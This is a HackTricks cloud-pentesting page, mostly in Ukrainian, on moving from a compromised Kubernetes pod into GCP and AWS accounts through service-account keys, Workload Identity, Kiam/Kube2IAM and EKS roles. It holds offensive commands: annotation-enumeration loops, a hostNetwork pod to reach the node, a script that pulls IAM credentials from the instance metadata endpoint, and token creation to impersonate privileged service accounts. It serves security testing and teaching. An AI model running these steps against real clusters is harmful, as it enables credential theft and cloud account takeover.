Kubernetes Pivoting to Clouds

Reading time: 13 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

GCP

Якщо ви запускаєте k8s cluster всередині GCP, ймовірно ви захочете, щоб деякий додаток у кластері мав доступ до GCP. Існує 2 поширених способи це зробити:

Mounting GCP-SA keys as secret

Поширений спосіб надати access to a kubernetes application to GCP — це:

  • Create a GCP Service Account
  • Bind on it the desired permissions
  • Download a json key of the created SA
  • Mount it as a secret inside the pod
  • Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

warning

Тому, як attacker, якщо ви компрометуєте контейнер всередині pod, вам слід перевірити наявність цієї env variable та json files з обліковими даними GCP.

Relating GSA json to KSA secret

Спосіб надати GSA доступ до GKE cluster — пов'язати їх таким чином:

  • Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
bash
kubectl create serviceaccount <service-account-name>
  • Створіть Kubernetes Secret, який містить облікові дані сервісного облікового запису GCP, якому ви хочете надати доступ до кластера GKE. Ви можете зробити це за допомогою інструменту командного рядка gcloud, як показано в наведеному прикладі:
bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив'яжіть Kubernetes Secret до Kubernetes service account за допомогою наступної команди:
bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

У другому кроці було встановлено credentials of the GSA as secret of the KSA. Тож, якщо ви можете read that secret з середини GKE кластера, ви можете escalate to that GCP service account.

GKE Workload Identity

За допомогою Workload Identity ми можемо налаштувати a Kubernetes service account так, щоб він діяв як a Google service account. Pods, що працюють з Kubernetes service account, автоматично автентифікуються як Google service account при доступі до Google Cloud APIs.

The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.

  • Enable Workload Identity на новому кластері
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створити/Оновити новий nodepool (Autopilot clusters не потребують цього)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть GCP Service Account to impersonate з K8s з дозволами GCP:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до cluster та створіть service account для використання
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив'язати GSA до KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть pod з KSA і перевірте access до GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте наступну команду для автентифікації у разі потреби:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Як атакуючий всередині K8s вам слід шукати SAs з iam.gke.io/gcp-service-account анотацією, оскільки це вказує, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA в кластері й перевірити, чи має він доступ.
З боку GCP завжди корисно перерахувати bindings і знати, який доступ ви надаєте SAs всередині Kubernetes.

Це скрипт, який дозволяє легко перебирати всі визначення pods, шукаючи ту анотацію:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Старий спосіб надати Pods IAM Roles — використовувати Kiam або Kube2IAM server. По суті, вам потрібно запустити daemonset у вашому кластері з kind of privileged IAM role. Цей daemonset надаватиме доступ до IAM roles тим Pods, яким це необхідно.

Насамперед потрібно налаштувати which roles can be accessed inside the namespace, і це робиться за допомогою annotation всередині namespace object:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Після того як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете вказати роль, яку ви хочете на кожному pod definition, наприклад:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Як атакуючий, якщо ви знайдете ці анотації в pods або namespaces або якщо запущено сервер kiam/kube2iam (ймовірно в kube-system), ви можете видавати себе за кожну роль, яку вже використовують pods, і більше (якщо у вас є доступ до AWS — перелічіть roles).

Create Pod with IAM Role

note

IAM role, яку потрібно вказати, має бути в тому ж AWS account, що й роль kiam/kube2iam, і ця роль має мати до неї доступ.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Це рекомендований спосіб від AWS.

  1. По-перше, потрібно створити провайдера OIDC для кластера.
  2. Після цього створіть IAM роль з дозволами, які знадобляться SA.
  3. Створіть доверчі відносини між IAM роллю та SA за ім'ям (або між роллю та неймспейсами, що надають доступ усім SA в неймспейсі). Доверчі відносини в основному перевіряють ім'я OIDC провайдера, ім'я namespace та ім'я SA.
  4. Нарешті, створіть SA з анотацією, яка вказує ARN ролі, і поди, що працюють під цим SA, матимуть доступ до токена ролі. Токен записується у файл, а шлях вказано в AWS_WEB_IDENTITY_TOKEN_FILE (за замовчуванням: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Щоб отримати доступ до aws, використовуючи token з /var/run/secrets/eks.amazonaws.com/serviceaccount/token, виконайте:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Як атакуючий, якщо ви можете перерахувати K8s кластер, перевірте наявність service accounts with that annotation щоб escalate to AWS. Для цього просто exec/create pod використовуючи один з IAM privileged service accounts і вкрадіть token.

Крім того, якщо ви всередині pod, перевірте env variables такі як AWS_ROLE_ARN та AWS_WEB_IDENTITY_TOKEN.

caution

Іноді Turst Policy of a role може бути bad configured і замість надання AssumeRole доступу очікуваному service account, воно надається all the service accounts. Тому, якщо ви можете записати annotation у контрольований service account, ви зможете отримати доступ до role.

Перегляньте following page for more information:

AWS - Federation Abuse

Знайти Pods та SAs з IAM Roles у кластері

Це скрипт для простого iterate over the all the pods and sas definitions looking for that annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

Попередній розділ розповідав про те, як вкрасти IAM Roles за допомогою pods, але зауважте, що Node of the K8s cluster фактично є instance inside the cloud. Це означає, що Node, швидше за все, матиме IAM role you can steal (зауважте, що зазвичай усі nodes K8s кластера матимуть однаковий IAM role, тож може не мати сенсу перевіряти кожний node).

Щоб отримати доступ до node metadata endpoint, вам потрібно:

  • Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша неправильна конфігурація, оскільки зазвичай різні pods у кластері потребують доступу до metadata endpoint, щоб не ламатися, і декілька компаній просто дозволяють доступ до metadata endpoint для всіх pods у кластері.
  • Бути в pod з увімкненим hostNetwork.
  • Втекти з контейнера на node і напряму звернутися до metadata endpoint.

(Зауважте, що metadata endpoint завжди знаходиться за адресою 169.254.169.254).

Щоб escape to the node ви можете використати наступну команду, щоб запустити pod з увімкненим hostNetwork:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Раніше ми обговорювали, як attach IAM Roles to Pods або навіть як escape to the Node to steal the IAM Role, який прикріплений до інстансу.

Ви можете використати наступний скрипт, щоб steal ваші нові важко здобуті IAM role credentials:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

У підсумку: якщо можливо отримати доступ до EKS Node IAM role з pod, то можливо compromise the full kubernetes cluster.

Для детальнішої інформації перегляньте this post. Коротко, стандартна IAM EKS роль, яка призначається EKS nodes за замовчуванням, всередині має роль system:node в межах kubernetes cluster. Ця роль дуже цікава, хоча обмежена kubernetes Node Restrictions.

Однак node завжди може generate tokens for service accounts, що працюють у pods всередині node. Тому, якщо node запускає pod з привілейованим service account, node може згенерувати token для цього service account і використати його, щоб impersonate цей service account, як у:

bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks